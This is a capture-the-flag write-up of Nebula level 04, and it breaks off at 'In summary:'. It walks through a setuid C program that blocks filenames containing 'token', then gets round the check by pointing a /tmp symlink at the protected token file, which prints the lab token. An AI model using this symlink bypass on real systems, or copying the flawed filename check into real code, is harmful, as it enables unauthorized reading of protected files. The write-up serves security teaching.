Nebula Series - Level 04

27 Apr 2020


Depending on filenames to prevent unauthorized access is a terrible idea.

Our goal for this level is to obtain the value stored in the /home/flag04/token file. We’re provided with the following source code for the executable at /home/flag04/flag04:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

It first checks that more than one argument is supplied.

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

The reason it’s testing argc == 1 is because the first argument is always the name of the executable itself.

Next it checks if the supplied filename contains the substring “token” using strstr from the C stdlib.

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

If the substring is found, the app exits after informing the user that they are not allowed to access that file.

We’ll want to avoid this.

Next it opens and reads the file into the buffer

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

And finally, it writes the contents to stdout.

  write(1, buf, rc);

The first argument here is a file descriptor; in this case it’s file descriptor 1 - aka STDOUT.

Alright so how do we sirsumvent the security checks?

Enter symbolic links.

A symbolic link is essentially a named pointer to another file. We can create a symbolic link that doesn’t contain “token” in its name and point it at the token file like

level04@nebula:~$ ln -s /home/flag04/token /tmp/trickedya

level04@nebula:~$ ls -l /tmp
total 0
lrwxrwxrwx 1 level04 level04 18 2020-04-10 09:00 trickedya -> /home/flag04/token

Now all that’s left is to run the app again but hand it the symlink

level04@nebula:~$ /home/flag04/flag04 /tmp/trickedya
06508b5e-8909-4f38-b630-fdb148a848a2

And there it is – the token we weren’t supposed to see!

In summary: